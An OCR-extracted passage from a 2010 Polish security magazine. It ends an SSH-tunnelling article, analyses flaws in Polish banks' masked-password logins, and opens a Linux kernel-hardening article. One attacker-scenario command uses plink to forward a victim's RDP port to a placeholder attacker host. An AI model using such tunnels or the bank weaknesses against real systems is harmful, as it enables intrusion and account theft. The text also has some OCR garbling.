będzie samodzielne stworzenie takiego połączenia. Tradycyjnie ustalmy jak wygląda sytuacja: • ������������������������������ ������������������������������������ ������ Rysunek 4. Odwrotny tunel SSH ����� • K _ DOC – komputer docelowy za NAT; adres IP: 192.168.20.55 (do niego chcemy uzyskać dostęp), K _ ZDAL – komputer z którego nawiązujemy połączenie; adres IP: 138.47.99.99. W Sieci • • • • • • http://www.boutell.com/rinetd/ – opis narzędzia rinetd, http://www.stunnel.org/ – oficjalna strona Stunnel. Dostępne rozległe FAQ oraz przykłady wykorzystania, http://pl.wikipedia.org/wiki/Hypertext_Transfer_Protocol – opis protokołu HTTP, http://proxytunnel.sourceforge.net/ – strona domowa projektu ProxyTunnel, http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/ – sztuczki z SSH, http://www.marksanborn.net/howto/bypass-firewall-and-nat-with-reverse-ssh-tunnel/ – odwrotny tunel SSH. 44 HAKIN9 1/2010 • K _ DOC (192.168.20.55) – <<NAT>> – K _ ZDAL (138.47.99.99) Pierwszym krokiem jest uruchomienie SSH na K_DOC poprzez wpisanie w terminalu: user@K_DOC:~$ ssh -R 25225: localhost:22 [email protected] Parametr -R jest odwrotnością -L . Jeśli L oznaczał prześlij lokalny port na odległy adres to -R działa jak Prześlij odległy port na lokalny adres. Port 25225 jest dowolny, należy jednak pamiętać, aby był większy niż 1024. Na K _ ZDAL zaakceptujemy powstały tunel, łącząc się z nim: user1@K_ZDAL:~$ ssh -p 25225 localhost Jesteśmy zalogowani. Kolejne serwery połączone z K _ ZDAL , także bez problemu mogą łączyć się z K _ DOC . Popatrzmy na przykład: K_DOC (192.168.20.55) – <<NAT>> – K_ZDAL (138.47.99.99) – Komputer Jana Na komputerze Jana wystarczy wydać polecenia: jan@K_JANA:~$ ssh sourceuser @138.47.99.99 jan@K_JANA:~$ ssh -p 25225 localhost Przeanalizujmy jeszcze jeden scenariusz ukazany schematycznie na Rysunku 4. Wyobraźmy sobie, że napastnik w jakiś sposób uzyskał reverse shella od ofiary w nieroutowalnej sieci lokalnej. Ofiara korzysta także z usługi zdalnego pulpitu (TCP na porcie 3389). Agresor zdobył login i hasło ofiary i chce uzyskać dostęp do jego pulpitu. W tym celu przekonfiguruje swój serwer SSH tak, aby nasłuchiwał na 80 porcie, a następnie tworzy tunel, w którym port 3389 jest przekierowany z komputera ofiary do jego maszyny. Następnie łączy się sam ze sobą (adres 127.0.0.1 czyli localhost) na porcie 3389. Tym sposobem utworzył tunel. Patrząc z praktycznego punktu widzenia, operację możemy przedstawić również tak: ofiara używa Windowsa XP, nie jest znawcą komputerów więc nieświadomie wykonuje polecenie C:/>plink -l root -pw password -C -R 3389:127.0.0.1:3389 <IP-AGRESORA> Oczywiście jest to wyidealizowana sytuacja, gdyż przypadkowe wpisanie takiego polecenia graniczy z cudem. Może ono jednak zostać automatycznie wykonane poprzez złośliwe oprogramowanie instalujące się bez naszej wiedzy w systemie. Plink jest klientem SSH przystosowanym do pracy na platformie Microsoftu. Składnia po -R jest podobna jak w SSH, port do umieszczenia u agresora :lokalny adres ip :źródłowy port do tunelowania. Gdy polecenie zostanie wydanie, napastnik ujrzy na swoim komputerze nasłuchujący port RDP (3389). Może się z nim połączyć używając aplikacji rdesktop, podając jako adres 127.0.0.1, port 3389 tym samym łącząc się zdalnie z pulpitem ofiary. Podsumowanie Artykuł ukazuje jak ciężkie jest zaprojektowanie prawidłowo funkcjonującej sieci lokalnej opartej na prostym firewallu. Praktycznie każde drobne niedopatrzenie można wykorzystać, by uzyskać to do czego się dąży. W artykule nacisk położony był na zapory ogniowe bez kontroli zawartości pakietów. Jednak osoba kreatywna będzie potrafiła także poradzić sobie i z tą kwestią. Kombinacja tunelu SSH oraz ProxyTunnel pozwoli nam przedostać się przez większość inspekcji IDS, gdyż cały tunel będzie kapsułkowany w protokole HTTP lub HTTPS, jednak jest to temat na osobny artykuł. Norbert Kozłowski Student Automatyki i Robotyki na Politechnice Wrocławskiej. Wolne chwile wykorzystuje na pogłębienie wiedzy z zakresu bezprzewodowej wymiany danych, elementów języków programowania (Perl, Python, Ansi C). Członek grupy u-C. Kontakt z autorem: [email protected] 1/2010 HAKIN9 45 ATAK MARCIN KOSEDOWSKI Maskowanie – robisz to źle! Stopień trudności Hasła maskowane pozwalają na logowanie z niezaufanych systemów. W teorii zwiększa to poziom bezpieczeństwa, ale stosowane implementacje są dalekie od doskonałości. Przedstawiamy typowe błędy stosowane przez polskie banki i propozycje ich rozwiązania. H Z ARTYKUŁU DOWIESZ SIĘ jak hasła maskowane mogą obniżyć bezpieczeństwo, jakie błędy popełniają polskie banki, na co zwrócić uwagę przy wdrażaniu haseł maskowanych. CO POWINIENEŚ WIEDZIEĆ znać podstawy statystyki, znać sposób używania zwykłych haseł. 46 HAKIN9 1/2010 asła maskowane to prosty sposób na zwiększenie bezpieczeństwa podczas logowania w niezaufanych miejscach. Ich idea polega na podawaniu tylko fragmentu hasła zamiast całości. System ten jest znacznie tańszy niż hasła jednorazowe, kody wysyłane SMS-em, zdrapki czy tokeny, więc często stosują go banki. Hasła maskowane nie są tak skuteczne jak wspomniane rozwiązania, ale łatwość wdrożenia czyni je popularnymi. Niestety w trakcie implementacji pojawia się kilka miejsc, które przy błędnym wdrożeniu mogą skutecznie obniżyć poziom bezpieczeństwa. Również polskie banki dały się złapać w pułapkę haseł maskowanych. Teoretycznie hasło maskowane pozwala na bezpieczniejsze, niż przy użyciu zwykłego hasła, logowanie. Użytkownik wchodzi na stronę banku lub wykonuje połączenie telefoniczne, proszony jest o podanie np. 1, 3, 4, 6, 7 i 9 znaku ze swojego dziesiecioznakowego hasła, co wystarczy do autoryzacji. Nawet jeśli fragment hasła zostanie podejrzany lub podsłuchany przez atakującego, to nie przyda mu się ono na wiele. Przy kolejnej próbie logowania zostanie on poproszony o inny zestaw znaków nazywany maską. W teorii rozwiązanie wygląda na bezpieczne, jednak stosowane implementacje nie są tak dobre jak powinny. W praktyce hasła maskowane chronią maksymalnie przed kilkoma próbami podsłuchu lub wręcz ułatwiają atakującym dostęp do konta. Hasło w czterech porcjach Mogłoby się wydawać, że odzyskanie pełnego hasła z podsłuchanych podciągów wymaga setek prób, jednak nie jest to prawdą. W tabeli podano jaką liczbę logowań trzeba podsłuchać, aby poznać całe hasło. Na pierwszy rzut oka wydaje się, że jedyne bezpieczne wyjście to krótka maska i długie hasło. Dla krótkich haseł i stosunkowo długich masek (np. hasło ośmioznakowe i pięcioznakowa maska) zostanie ono poznane prawdopodobnie już po 3 lub 4 podsłuchanych logowaniach. Należy jednak pamiętać, że krótki podciąg naraża system na niebezpieczeństwa, takie same jak krótkie, np. czteroznakowe hasło. W szczególności ułatwiony jest atak brute force. Z drugiej strony długie maski o długości ponad 70% hasła prowadzą do odkrycia całego hasła już po 2 – 3 podsłuchanych logowaniach. Z długimi hasłami wiąże się jeszcze jeden problem: jeśli fragment hasła jest frazą słownikową, to domyślenie się całości nie jest trudne. Atakujący może szybko przefiltrować słownik, aby wyznaczyć wszystkie słowa pasujące do poznanych liter i próbować wszystkich pasujących fraz po kolei. Takiego wyniku należało się spodziewać, ale zaskakująca jest liczba logowań koniecznych do podsłuchania. Jest ona bardzo mała i tylko w przypadku haseł dłuższych niż 20-znakowe i sensownej długości maski daje oczekiwaną liczbę podsłuchów rzędu 10. Praktyka pokazuje, HASŁA MASKOWANE że dla banków wystarczającą granicą uznawaną za bezpieczną są 4 logowania w niezaufanym miejscu. Dane w tabeli zostały wyznaczone na podstawie prób logowania do stworzonego na potrzeby artykułu systemu, w którym liczba znaków w haśle i masce były parametrami, a maska była wybierana losowo przy użyciu funkcji o rozkładzie jednorodnym. Dla każdego parametru wykonano 10 000 prób podsłuchu i wyciągnięto średnią arytmetyczną. Podane w tabeli wyniki to średnia liczba podsłuchanych fragmentów koniecznych do uzyskania całego hasła. Należy dodać, że atakujący może próbować ataku nie znając całego hasła lub odgadywać pozostałe znaki np. na podstawie słownika, co obniżyłoby wartości znajdujące się w tabeli. Jak pokazuje przeprowadzona symulacja nawet dobrze dobrane długości haseł i maski dają niewielką liczbę logowań, które można przeprowadzić z niezaufanego miejsca. Dobór odpowiedniej maski powinien uwzględniać zarówno ilość podsłuchanych logowań, które dadzą szanse na uzyskanie całego hasła jak i rozsądna długość maski. Jak pokazuje tabela, najlepszym wyjściem byłoby stworzenie jak najkrótszej maski. Należy jednak pamiętać, że krótkie ciągi (np. trzyznakowe) są łatwe do złamania poprzez brute force lub po prostu odgadnięcie brakującego znaku. Z drugiej strony maska nieco krótsza od hasła nie ochroni go przed więcej niż jednym lub dwoma podsłuchami. Banki stosują zwykle maski nie dłuższe niż połowa hasła. W przypadku długich haseł może to być nawet 20 – 25% hasła, w krótszych więcej. Maska w pełni losowa? Na bezpieczeństwo haseł maskowanych wpływa sposób generowania maski. Najbardziej oczywistym rozwiązaniem jest wyznaczanie jej na podstawie funkcji o jednorodnym rozkładzie prawdopodobieństwa. Oznacza to, że każda maska pojawi się z takim samym prawdopodobieństwem bez uwzględnienia żadnych warunków zewnętrznych. Rozwiązanie takie stosuje większość banków; zostało one również użyte w systemie stworzonym na potrzeby artykułu. Ogólnie jest to dobry sposób tworzenia maski, o ile generator nie bazuje na żadnym parametrze możliwym do przewidzenia przez użytkownika. Modyfikacją, która teoretycznie może podnieść poziom bezpieczeństwa jest generowanie kolejnych masek tak, aby ich wzajemna odległość nie była losowa. Maski o dużej odległości to takie, które są od siebie znacząco różne Rysunek 1. W BPH, aby zapobiec poznaniu przez atakującego długości hasła, pokazywany jest tylko konieczny fragment hasła. Kończy się na ostatnim znaku do wprowadzenia – np. dla sześcioznakowego hasła maski przysłaniające pozycje 1, 2, 5 oraz 3, 4, 5 będą miały dużą odległość, a 1, 2, 5 i 1, 2, 3 małą. Dzięki takiemu rozwiązaniu kolejne maski wyświetlone użytkownikowi będą się mocno różnić. Z jednej strony szanse na trafienie przy kolejnym logowaniu w tę samą maskę, która była podsłuchana, są minimalizowane. Z drugiej, tak losowane maski przyśpieszają proces poznania całego hasła. Przeanalizujmy przykładowe kolejne wylosowane pozycje cyfr sześcioznakowego hasła w maskach, które są podsłuchiwane. Maski są wyznaczane tak, aby ich odległości były duże 1: 1, 2, 3 2: 2, 5, 6 (odległość od poprzedniego: 2) 3: 1, 3, 4 (odległość od poprzedniego: 3) Poznanie pierwszego fragmentu hasła (trzy pierwsze znaki) nie daje właściwie nic – skoro odległości są duże to szanse na trafienie któregoś ze znanych znaków są niewielkie. Jednak po drugim podsłuchanym logowaniu znana jest już większość hasła (5 z 6 znaków). Mimo to nadal istnieje szansa, że atakujący będzie musiał podać ostatni, nieznany znak. Dla krótkich haseł zwiększenie odległości nie będzie najlepszym rozwiązaniem – ilość prób koniecznych do poznania całego hasła znacznie spada, ale jedno logowanie w niezaufanym systemie można uznać za bezpieczniejsze niż gdyby maski były całkowicie losowe. Dla dłuższych haseł ilość bezpiecznych logowań jest większa, ale pełne hasło również w tym przypadku zostanie poznane szybciej niż przy całkowicie losowo generowanych maskach. Mimo Rysunek 2. Maski haseł nie muszą mieć stałej długości 1/2010 HAKIN9 47 ATAK to, jeśli po każdej ryzykownej sytuacji hasło byłoby zmieniane (oczywiście już w bezpiecznym miejscu), rozwiązanie jest warte rozważenia. Zależy ono głównie od możliwości zmuszenia użytkowników do zmiany hasła po każdym logowaniu w niezaufanym systemie. Zwiększenie odległości między kolejnymi maskami to dobre rozwiązanie dla długich haseł i stosunkowo krótkich masek. W sytuacji przeciwnej, czyli zbliżonych do siebie kolejnych maskach, hasło zostanie poznane później, ale atakujący może łatwo odgadnąć np. jeden nieznany znak. W tym przypadku kolejne maski mogłyby wyglądać następująco: 1: 1, 2, 3 2: 1, 3, 5 (odległość od poprzedniego: 1) 3: 1, 4, 5 (odległość od poprzedniego: 1) 4: 1, 3, 5 (odległość od poprzedniego: 1) 5: 2, 3, 5 (odległość od poprzedniego: 1) 6: 2, 3, 6 (odległość od poprzedniego: 1) Poznanie całego hasła zajmie znacznie więcej czasu, a w związku z tym liczba dozwolonych logowań z niezaufanych miejsc bez zmiany hasła będzie większa. Niestety rozwiązanie to ma wadę: zwiększa się ryzyko, że kolejne hasła będą różniły się tylko jednym znakiem lub będą wręcz identyczne. Jeśli wykorzystywane są jedynie cyfry, to szanse odgadnięcia brakującego znaku są zbyt duże. Ponadto rosną szanse na to, że zbyt szybko pojawi się taka sama maska (w powyższym przykładzie kroki 2 i 4), przez co pozostałe znaki hasła nie będą potrzebne do (jednorazowej) autoryzacji. Jednak jeśli hasła są krótkie, to szanse na ponowne wylosowanie tych samych masek są duże, nawet w przypadku losowych masek (np. dla sześcioznakowego hasła i trzyznakowej maski – standardowego ustawienia w Volkswagen Bank Direct – to aż 5%). W tym przypadku zmniejszenie odległości może okazać się skuteczne. Rysunek 3. ING jako dodatkowe zabezpieczenie wprowadziło klawiaturę chroniącą przed keyloggerami Rysunek 4. W Millenium Bank jako fragmentu uwierzytelniania używa się maski nałożonej na numer paszportu, PESEL lub dowodu osobistego. Poważny błąd: zmiana języka zmienia maskę!. 48 HAKIN9 1/2010 Wdrażając system wykorzystujący hasła maskowane należy pamiętać, że istnieją trzy sposoby generowania masek: całkowicie losowo lub tak, aby odległości między kolejnymi maskami były możliwie małe albo większe. Wybór powinien zależeć od przewidywanej liczby niebezpiecznych logowań przed zmianą hasła, użytymi znakami i stosunkiem długości maski do hasła. Każdy parametr powinien być przed wdrożeniem przetestowany tak, aby zapewnić klientom jak największe bezpieczeństwo. Banki też się mylą Jedna maska powinna być stosowana aż do momentu poprawnego zalogowania. W przeciwnym przypadku (np. zmiany maski przy każdej próbie logowania) atakujący mógłby po prostu odczekać, aż trafi na te znaki, które już zna. W praktyce oznaczałoby to skrócenie bezpiecznego, dwudziestoznakowego hasła np. do pięciu znaków. Poprawnie zaimplementowany system powinien zapamiętać wygenerowaną maskę i prosić o te same znaki aż do skutku. Wśród polskich banków co najmniej w dwóch przypadkach można spotkać się ze zmianą masek. W BZ WBK wystarczy odświeżyć stronę, aby system poprosił o inny zestaw znaków, a Bank Millenium, który zabezpieczył się przed odświeżeniem, zmienia maski przy przełączeniu języka strony. Rozwiązanie BZ WBK może być błędem, a Banku Millenium równie szkodliwym niedopatrzeniem, ale nie jest to pewne. Innym wytłumaczeniem zmieniających się masek może być to, że w testach wprowadzane były numery użytkowników, którzy prawdopodobnie nie istnieją (odpowiednio 12345678 i 1234). System może po prostu nie przewidywać miejsca, w którym maska byłaby zapisywana dla nieistniejących użytkowników i za każdym razem losowana jest nowa. Nie jest to błąd tak duży jak tworzenie nowej maski przy każdym (nawet nieudanym) logowaniu prawdziwych użytkowników, ale niesie pewne niebezpieczeństwo. Atakujący na podstawie zachowania formularza logowania może ustalić, które numery HASŁA MASKOWANE odpowiadają rzeczywistym klientom banku, a które są fałszywe. Zarówno w przypadku prób wygenerowania oczekiwanej maski, jak i wykrycia w ten sposób numerów użytkowników system powinien blokować dostęp do strony po kilku nieudanych próbach. Takie rozwiązanie stosuje np. ING, gdzie po pięciu nieudanych logowaniach dostęp jest blokowany, a jego odblokowanie wymaga osobistej wizyty w oddziale banku. Może to być uciążliwe dla użytkowników, ale pozwala na szybkie i skuteczne wykrycie ataków. Jak widać stosowanie haseł maskowanych może w wyniku złej implementacji obniżyć bezpieczeństwo systemu. Jeśli bank dopuści możliwość zmiany maski, to hasło zostaje po prostu skrócone, w większości przypadków o połowę. W takiej sytuacji atakujący może próbować innych ataków dla prostszych haseł niż zdefiniowane przez użytkownika. Zmienione zachowanie dla nieiniejących użytkowników pozwala ponadto na wykrycie rzeczywistych numerów klientów. Uwaga na długość! Hasła maskowane narażone są na łatwe poznanie ich długości, jeśli implementacja będzie nieprzemyślana. Najprostsza sytuacja to taka, w której prezentowane jest całe hasło, a maska to tylko zablokowanie niektórych pól. Jest to najlepszy sposób do zdradzenia długości hasła. Samo podanie loginu prowadziłoby atakującego do poznania tej wartości, co przyśpiesza atak brute force lub skorzystanie z tęczowych tablic (rainbow tables) – wystarczy badać tylko ciągi o znanej długości. Stosowane najczęściej rozwiązanie to wylosowanie maski i pokazanie tylko tylu znaków, żeby na ostatniej pozycji znajdował się ostatni znak do wpisania. Inne, stosowane np. przez ING to wyświetlenie dla każdego użytkownika większej liczby pól niż ma jego hasło. Bank zaleca wybór hasła minimum dziesięcioznakowego, z czego przy logowaniu proszeni są oni o podanie 5 znaków, bez względu na długość hasła. Należy się spodziewać, że większość osób uzna 10 znaków za wystarczającą długość. Bank informuje, że przy haśle o długości 10 znaków identyczna maska może pojawiać się stosunkowo często, statystycznie po niespełna 300 próbach. Dzięki temu użytkownik myśli, że jest bezpieczny – nawet jeśli ktoś pozna fragment hasła, to będzie musiał wykonać 300 logowań, żeby trafić na tę samą maskę. Nieudane logowanie w tym przypadku nie zmienia maski. Klient nie bierze jednak pod uwagę tego, że statystycznie już po 5 podsłuchanych logowaniach atakujący pozna całe hasło. Innym sposobem na ukrycie długości hasła może być wyświetlanie częściej pierwszych znaków, a rzadziej znajdujących się na końcu. W tym przypadku bardzo dużo zależy jednak od wyboru funkcji losowej generującej maskę o odpowiednim rozkładzie prawdopodobieństwa. Nie może ona pytać o ostatnie znaki zbyt rzadko, bo mogą się one okazać nieprzydatne, ale również niezbyt często, żeby długość hasła rzeczywiście pozostała nieznana. Błędna implementacja frontendu to prosty sposób na ujawnienie atakującemu długości hasła danego użytkownika. W przypadku klasycznych haseł takie niebezpieczeństwo nie zachodzi. Ponadto jeśli nie są wyświetlane gwiazdki (jak w systemach uniksowych), to nawet w trakcie wpisywania hasła przez uprawnionego użytkownika nie można łatwo poznać długości jego hasła – wymagany jest keylogger lub inne złośliwe oprogramowanie. Należy jednak profilaktycznie zakładać, że w kawiarence lub innym ogólnodostępnym komputerze znajduje się taki program przechwytujący hasła. Na szczęście większość sprawdzanych systemów, wykorzystujących hasła maskowane, ogranicza wyświetlane znaki do ostatniej wymaganej do wpisania pozycji lub w inny sposób ukrywa długość hasła. wartością w bazie danych znajdującą się na serwerze. Jeśli skrót wprowadzonego hasła zgadza się z tym z bazy danych, logowanie uznaje się za pomyślne. Warto dodać, że znalezienie hasła, które posiada określony, znajdujący się w bazie hash, jest bardzo czasochłonne. W przypadku haseł maskowanych należałoby przechowywać hashe dla każdego dopuszczalnego podciągu (np. dla hasła pies i dwuznakowej maski byłyby to pi, pe, ps, ie, is, es), co znacząco zwiększy rozmiar bazy danych. W bazie oprócz skrótu powinny znaleźć się pozycje wprowadzanych znaków. Szczególnie dużo hashy pojawi się, jeśli stosowane są krótkie maski i długie hasła. Samo ich przechowanie nie stanowi dużego problemu, chociaż wymaga większej powierzchni dyskowej. Niesie to ryzyko wdrożenia systemu, który będzie przechowywał hasła w postaci czystego tekstu, co w razie kradzieży bazy miałoby katastrofalne skutki – należy pamiętać, że hasła maskowane stosuje się głównie w ważnych systemach. Jednak nawet zahashowanie haseł może stanowić zagrożenie. Wygenerowanie hasła, które posiada określony skrót w przypadku np. dziesięcioznakowej frazy jest bardzo czasochłonne i w praktyce wymaga użycia złożonych tęczowych tablic, których stworzenie trwa długo. Jeśli w bazie przechowywane są setki lub tysiące krótkich, powiedzmy Baza pod szczególną ochroną Na bezpieczeństwo systemu wpływa sposób przechowywania fragmentów haseł. W przypadku zwykłego hasła obliczana jest jednokierunkowa funkcja skrótu, której wynikiem hash – wartość charakterystyczna dla danego hasła i algorytmu. Jest on porównywany z Rysunek 5. BZ WBK udostępnia użytkownikom wirtualną klawiaturę, ale nie zapamiętuje maski. Wystarczy wejść ponownie na stronę logowania, aby ją zmienić 1/2010 HAKIN9 49 ATAK pięcioznakowych, hashy ewentualny atak jest znacznie prostszy. Atakujący może stosunkowo szybko poznać pierwszy fragment (np. pierwsze pięć znaków), a na jego podstawie tworzyć kolejne zmieniając tylko jeden znak. Generując kilkadziesiąt (w zależności od użytego zestawu znaków) nowych skrótów szybko zdobędzie kolejne znaki hasła. W ten sposób odtworzenie całego hasła zajmie bardzo mało czasu. Baza danych, zawierająca fragmenty haseł, wymaga więc szczególnej ochrony, gdyż dostęp do niej daje możliwość łatwego odtworzenia stosowanych przez użytkowników haseł. Jeśli nie wiadomo o co chodzi... ...to chodzi o pieniądze. Na stosowanie haseł maskowanych mają wpływ nie tylko kwestie techniczne, ale również koszta utrzymania systemu i przewidywane zachowania użytkowników. Wysyłanie SMS-ów z kodami jednorazowymi, rozprowadzanie zdrapek czy zakup tokenu dla każdego użytkownika tworzy stałe koszty. Z drugiej strony samo hasło jest źle widziane przez klientów – podczas gdy wszystkie banki chwalą się zabezpieczeniami, wprowadzenie hasła maskowanego może być stosunkowo tanim sposobem na zwiększenie ich Rysunek 6. Przykładowy algorytm autoryzacji z użyciem haseł maskowanych 50 HAKIN9 1/2010 zaufania i – jeśli podczas implementacji nie popełniono błędu – również bezpieczeństwa. Poza kosztami ważne jest również przekonanie klientów lub użytkowników do nowego systemu. Dla typowego użytkownika wprowadzenie hasła maskowanego może stanowić problem. Napisanie nawet długiego hasła po kilku próbach staje się odruchem. Tymczasem niektórzy nie są w stanie powtórzyć z pamięci swojego hasła (zwłaszcza jeśli zawiera znaki specjalne), ale bez problemu wpisują klikunastoznakowe ciągi na klawiaturze. W przypadku haseł maskowanych nie jest to takie proste – skojarzenie znaku z pozycją nie jest już odruchowe. W implementacjach stosowanych przez polskie banki występuje jeszcze jeden problem – po wpisaniu znaku w jedno z okienek jesteśmy automatycznie przenoszeni na kolejną pustą pozycję, która może znajdować się kilka pól dalej. Zdecydowanie utrudnia to wprowadzanie hasła. Ponadto maskowanie ogranicza długość haseł wprowadzanych przez telefon. Ciężko wyobrazić sobie sytuację, w której użytkownik jest proszony o podanie np. 17, 8 i 13 cyfry swojego dwudziestoznakowego kodu. Może się to skończyć napisaniem hasła na kartce wraz z odpowiadającymi konkretnym znakom pozycjami i przepisywaniem z kartki. Ułatwia to podejrzenie hasła, zamiast je utrudniać. Właśnie ta niewygoda w zestawieniu ze stosunkowo małym podwyższeniem poziomu bezpieczeństwa haseł maskowanych świadczy na ich niekorzyść. Znacznie bezpieczniejsze rozwiązania to tokeny lub hasła jednorazowe, które mogą denerwować użytkowników, ale wzrost poziomu bezpieczeństwa jest w tym przypadku znaczny. Oczywiście haseł maskowanych nie należy całkowicie wykluczać. Jedną z drugorzędnych, lecz ciekawych, zalet haseł maskowanych jest ochrona przed zapamiętaniem ich przez przeglądarkę. Użytkownik – najsłabsze ogniwo systemu bezpieczeństwa – lubi ułatwiać sobie życie i zapamiętywać wszystkie wprowadzane hasła. W przypadku przejęcia dostępu do komputera lub zarażenia złośliwym HASŁA MASKOWANE oprogramowaniem atakujący ma ułatwione zadanie. Zapamiętanie hasła maskowanego przy klasycznych implementacjach, czyli jedno pole na jeden znak, nie ma sensu, więc użytkownik nie będzie miał z tego większego pożytku. Przy każdej wizycie na stronie maska i układ pół powinny być różne, a przeglądarka nie będzie znała zapisanego hasła. Jest to szczególnie skuteczne, jeśli kolejne maski są znacząco różne. Podsumowanie Jak widać hasła maskowane nie są tak bezpieczne, jak mogłoby się wydawać. Typowe ustawienia, czyli kilkunastoznakowe hasło i dwukrotnie krótsza maska to konfiguracja, przy której Maskowanie w 10 krokach • • • • • • • • • • Dobierz odpowiednie długości haseł i masek. Wyświetlaj jedną maskę aż do prawidłowego logowania. Upewnij się, że maska jest generowana dostatecznie losowo. Zadbaj o ochronę długości hasła użytkownika. Przechowuj hashe fragmentów haseł, zamiast hasła zapisanego czystym tekstem. Dobrze zabezpiecz bazę z hashami. Stwórz konta fikcyjnych użytkowników o każdym numerze klienta, zachowujących się tak samo jak zwykli. W uzasadnionych sytuacjach twórz maski, uwzględniając poprzednie. Zadbaj o wygodę użytkowników. Sprawdź wszystko jeszcze raz. Tabela 1. Średnia liczba podsłuchów koniecznych do poznania całego hasła maskowanego w zależności od długości hasła (wiersze) oraz liczby znaków, które należy podać (kolumny). Wygenerowano na podstawie symulacji. 2 3 4 5 6 8 10 15 6 6,93 4,3 2,9 2,19 1 x x x 8 10,39 6,57 4,67 3,47 2,64 1 x x 10 14,25 9,06 6,51 4,95 3,86 2,47 1 x 16 26,44 17,16 12,54 9,82 7,97 5,52 4,09 2,07 20 35,26 23 17,05 13,27 10,8 7,7 5,86 3,2 30 59,22 38,98 28,97 22,7 18,58 13,54 10,49 6,35 R E K L A M atakujący pozna wszystkie znaki już po kilku próbach. Użytkownik zapewniany przez bank o bezpieczeństwie haseł maskowanych może zyskać zaufanie do publicznie dostępnych komputerów, kawiarenek czy przyprowadzania operacji przez telefon w tłumie – przecież ma bezpieczne hasło maskowane... Tymczasem banki nie informują, że kilkukrotna kradzież fragmentu hasła jest równoznaczna z przekazaniem całego hasła do rąk przestępców. Hasła maskowane mogą przydać się w niektórych przypadkach, ale ich wpływ na bezpieczeństwo jest znikomy. Takie zabezpieczenie może ochronić przed maksymalnie kilkoma próbami podsłuchu. Zamiast tego można wdrożyć hasła jednorazowe definiowane przez użytkownika. Jednym z powodów stosowania haseł maskowanych jest z pewnością próba zdobycia zaufania klientów i walka o kolejne punkty w rankingach prowadzonych przez branżowe magazyny. Maskowanie sprawdzi się doskonale, jeśli po każdym logowaniu w niezaufanym miejscu zmienimy hasło. W przeciwnym przypadku złudne zaufanie klientów do tego systemu może ich drogo kosztować. Marcin Kosedowski Dziennikarz publikujący m.in. w Magazynie Internet i PC Worldzie. Interesuje się anonimowością, spamem i kryptografią. Obecnie kończy studia na wydziale Elektroniki i Telekomunikacji Politechniki Wrocławskiej. Kontakt z autorem: [email protected]. A 1/2010 HAKIN9 51 OBRONA SYLWESTER ZDANOWSKI Hartowanie jądra Linuksa Stopień trudności Bezpieczeństwo komputerów jest tematyką często omawianą pod różnym kontem. Budując bezpieczny dom nie wystarczy alarm, groźny pies i czujnik dymu. Bez mocnych fundamentów cała reszta zawali się w mgnieniu oka. Fundamentem systemu jest kernel i prawa dostępu. Z Z ARTYKUŁU DOWIESZ SIĘ jakie są modele kontroli dostępu, jak poprawić bezpieczeństwo na poziomie jadra, jakie istnieją łaty poprawiające bezpieczeństwo, jak instalować łaty jądra, jak wykorzystać łatę grsecurity, czy warto wykorzystywać łaty poza serwerami. CO POWINIENEŚ WIEDZIEĆ znajomość podstaw systemu Linux. 52 HAKIN9 1/2010 abezpieczenia podstawy systemu należy zacząć od wyjaśnienia dlaczego piszę o Linuksie pomijając system Windows. Wielbiciele produktu firmy Microsoft powinni zapoznać się z pierwszymi czterema stronami podanymi w ramce W Sieci. Przedstawiają one wierzchołek góry lodowej tematyki bezpieczeństwa systemu Windows. Podsumować je można krótko, słowa: Windows i bezpieczeństwo wzajemnie się wykluczają. Należy pamiętać, iż bezpieczeństwa nie gwarantuje sama nazwa Linux. Do jego zapewnienia konieczna jest właściwa polityka twórców oprogramowania, jak i jego użytkowników. Fundament tegoż domu jest ciągle poprawiany, jednak jego podstawowa konstrukcja nie gwaranuje bezpieczeństwa. Modele Uprawnień Podstawowym modelem uprawnień systemu Linux jest POSIX file system (ang.Portable Operating System Interface). Uprawnienia dzielone są pomiędzy właściciela pliku, grupę oraz innych. Jest to schemat dobrze znany każdemu użytkownikowi Linuksa. Rozszerzeniem tego modelu stał się model ACL (ang. Access Control List). Dzięki niemu możliwe stało się nadawanie uprawnień właściciela większej ilości użytkowników, podobnie uprawnień grupy. Następnym rozwinięciem kontroli dostępu jest model RBAC (ang. Role-Based Access Control). Kontrola dostępu oparta na rolach daje znacznie większe możliwości od swoich poprzedników. Podstawę stanowią role, do których przypisywane są uprawnienia. Przykładem ról mogą być dwie osoby, jedna zajmująca się bezpieczeństwem systemu, druga utrzymaniem serwera HTTP. Każda z tych osób wymaga innych uprawnień. Jednak dużo prościej jest utworzyć rolę administratora HTTP, aby później przypisywać do niej nowych użytkowników. O ile odpowiedzialni za serwer mogą się zmieniać często, o tyle uprawnienia potrzebne do tego rodzaju pracy nie powinny ulegać częstym zmianom. W zależności od implementacji możliwe jest również tworzenie powiązań pomiędzy rolami. Powiązania takie mogą wykluczać posiadanie dwóch ról przez jednego użytkownika lub implikować przez posiadanie jednej roli kolejnej. Ponadto role mogą dziedziczyć uprawnienia, koncepcja dobrze znana programistom. Powyższym zmianom towarzyszy zarzucenie modelu DAC (ang. Discretionary Access Control) na rzecz MAC (ang. Mandatory Access Control). Kontrola DAC odbywa się na podstawie uprawnień użytkownika do obiektu. Mac opiera się zaś na etykietach tematów (ang. subjecs) użytkownika oraz etykietach obiektów. Listing 1. Procedura paczowania jądra gunzip gresecurity-2.1.x.patch.gz tar -jxf linux-2.6.x.tar.bz2 patch -p0 < gresecurity-2.1.x HARTOWANIE JĄDRA LINUKSA W efekcie rozwoju kontroli dostępu powstałe narzędzia, jak grsecurity czy SELinux, wykorzystują listę ról posiadających uprawnienia. Do tych ról przypisywani są użytkownicy. Wymienione z nazwy rozwiązania różnią się jednak do tego stopnia, iż mogą być stosowane łącznie uzupełniając swoje możliwości. Sprawę określenia wykorzystywanej metody komplikuje możliwość działania RBAC według modelu DAC lub MAC. Wykorzystane podejście zależy od konfiguracji, nie można z góry powiedzieć, który model jest wykorzystywany. Implementacje W roku 2001 Narodowa Agencja Bezpieczeństwa przedstawiła SELinux wykorzystujący RBAC. Oprogramowanie to w postaci łaty dla jądra systemu miało na celu kontrolę uprawnień dostępu. Po jego prezentacji rozpoczęły się pracę nad LSM (ang. Linux Security Modules). Celem projektu było stworzenie interfejsu pozwalającego na wykorzystanie dodatkowych modułów bezpieczeństwa. Po wprowadzeniu LSM do jądra, SELinux zostało przystosowane do wykorzystania tego interfejsu bez użycia dodatkowych łat. Jednak nie wszyscy są zachwyceni sposobem działania LSM. Rozwiązaniem mającym poprawić bezpieczeństwo na poziomie jądra jest 